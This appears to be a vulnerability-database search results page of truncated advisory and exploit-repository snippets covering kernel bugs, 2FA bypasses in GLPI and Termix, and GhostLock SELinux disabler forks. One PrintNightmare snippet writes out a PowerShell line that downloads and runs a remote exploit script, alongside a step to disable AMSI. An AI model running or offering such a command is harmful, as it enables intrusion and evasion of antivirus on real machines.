Rocky Linux 8 [CIQ] Security Update: cryptsetup / cryptsetup-debuginfo / cryptsetup-debugsource / etc (crlsa-2022_0370)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20220370 advisory. cryptsetup: disable encryption via header rewrite CVE-2021-4122 Tenable has extracted the preceding description block directly from the CIQ security advisory. Note...

ghost-hoock

ghost-hoock GhostLock의 최소 포크로, 단 하나의 프리미티브 만 유지합니다: CVE-2026-43499futex PI UAF를 통한 SELinux 비활성화. Samsung A17에서 실행 중인 ghost-hoock -green 목차 이것은 무엇인가 동작 방식 원본에서 유지된 것 제거된 것 빌드 실행 요구 사항 제한 사항 및 위험 프로젝트 구조 라이선스 크레딧 링크 이것은 무엇인가 ghost-hoock은 Mobile Hacking Lab의 GhostLock 익스플로잇을 간소화한 포크 로, 단일 프리미티브로...

CVE-2026-31321

PoC Защитник запущен Метод 1 — Скрыть папку, связанную с Защитником Windows До перезагрузки После перезагрузки Защитник исчез Метод 2 — Заблокировать папку, связанную с Защитником Windows После перезагрузки...

ghostlock-selinux-disabler

GhostLock Отключатель SELinux Извлечение только Write-1-only из JoinChang/ghostlock-oneplus для CVE-2026-43499. Он отключает enforcing SELinux на поддерживаемых, уязвимых ядрах OnePlus с заблокированным загрузчиком, и больше ничего не делает: никакой перезаписи cred, никакой root-оболочки, никако...

cve-2021-1675

cve-2021-1675 отключить amsi: скопируйте в PowerShell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt выполнить invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' создать учетную...

Cross-site Request Forgery (CSRF)

Overview froxlor/froxlor is a server administration software. Affected versions of this package are vulnerable to Cross-site Request Forgery CSRF through the 2fa management process. An attacker can disable two-factor authentication for a logged-in user by enticing them to follow a crafted link,...

Astra Linux – Vulnerability found in Linux 6.12, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: espintcp: A race condition in espintcpclose has been fixed. This issue was discovered during a code audit. After espintcpclose is called, espintcptxwork can still be scheduled using functions like the Delayed ACK handler or...

CVE-2026-100539

The OpenClaw (npm package 'openclaw ') before version 2026.8.1 contains a memory access control bypass. The vulnerability occurs because the execution-time resolver treats explicit disablement of memory configurations as an unavailable snapshot, causing the memory_search and memory_get tool insta...

CVE-2026-100539 OpenClaw before 2026.8.1 Memory Access Control Bypass

OpenClaw npm package 'openclaw' before 2026.8.1 fails to revoke memory tool access when an operator hot-disables memory configuration. Existing memorysearch and memoryget tool instances retain the enabled configuration captured at creation time because the execution-time resolver treats explicit...

CVE-2026-53628

GLPI is a free asset and IT management software package. From 0.84 until 10.0.26 and 11.0.8, an administrator holding the Update auth and sync or Update auth, sync and 2FA right can change the authentication method and disable two-factor authentication for user accounts outside the administrator'...

CVE-2026-98014

In the Linux kernel, the following vulnerability has been resolved: net/mlx5: E-Switch, prevent mclist repopulation during vport disable In mlx5eswvportdisable, move eswapplyvportrxmode ahead of eswvportchangehandlelocked so vport-allmultirule is NULL before the change handler observes it. During...

CVE-2026-98014

In the Linux kernel, the following vulnerability has been resolved: net/mlx5: E-Switch, prevent mclist repopulation during vport disable In mlx5eswvportdisable, move eswapplyvportrxmode ahead of eswvportchangehandlelocked so vport-allmultirule is NULL before the change handler observes it. During...

CVE-2026-53628: Improper Authorization

GLPI is a free asset and IT management software package. From 0.84 until 10.0.26 and 11.0.8, an administrator holding the Update auth and sync or Update auth, sync and 2FA right can change the authentication method and disable two-factor authentication for user accounts outside the administrator'...

CVE-2026-79763 Termix: MFA-critical operations accept the account password as a sole factor (regression of CVE-2026-45749)

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 2.4.0 until 2.5.1, the POST /users/totp/disable and POST /users/totp/backup-codes endpoints accept the account password as the sole reauthentication factor after a 2.4.0 refactor...

CVE-2026-79763

The web-based server management platform Termix (versions 2.4.0 through 2.5.1) is vulnerable to a regression that allows MFA-critical operations to be performed using only an account password. Specifically, the POST /users/totp/disable and POST /users/totp/backup-codes endpoints in src/backend/da...

CVE-2026-79763 Termix: MFA-critical operations accept the account password as a sole factor (regression of CVE-2026-45749)

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 2.4.0 until 2.5.1, the POST /users/totp/disable and POST /users/totp/backup-codes endpoints accept the account password as the sole reauthentication factor after a 2.4.0 refactor...

EUVD-2026-86120

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 2.4.0 until 2.5.1, the POST /users/totp/disable and POST /users/totp/backup-codes endpoints accept the account password as the sole reauthentication factor after a 2.4.0 refactor...

CVE-2026-79763 Termix: MFA-critical operations accept the account password as a sole factor (regression of CVE-2026-45749)

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 2.4.0 until 2.5.1, the POST /users/totp/disable and POST /users/totp/backup-codes endpoints accept the account password as the sole reauthentication factor after a 2.4.0 refactor...

PT-2026-97921

Name of the Vulnerable Software and Affected Versions Termix versions 2.4.0 through 2.5.0 Description Termix is a web-based server management platform providing SSH terminal, tunneling, and file editing. A regression in the reauthentication process allows the endpoints 'POST /users/totp/disable'...

CVE-2026-79763: Use of Single-factor Authentication

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 2.4.0 until 2.5.1, the POST /users/totp/disable and POST /users/totp/backup-codes endpoints accept the account password as the sole reauthentication factor after a 2.4.0 refactor...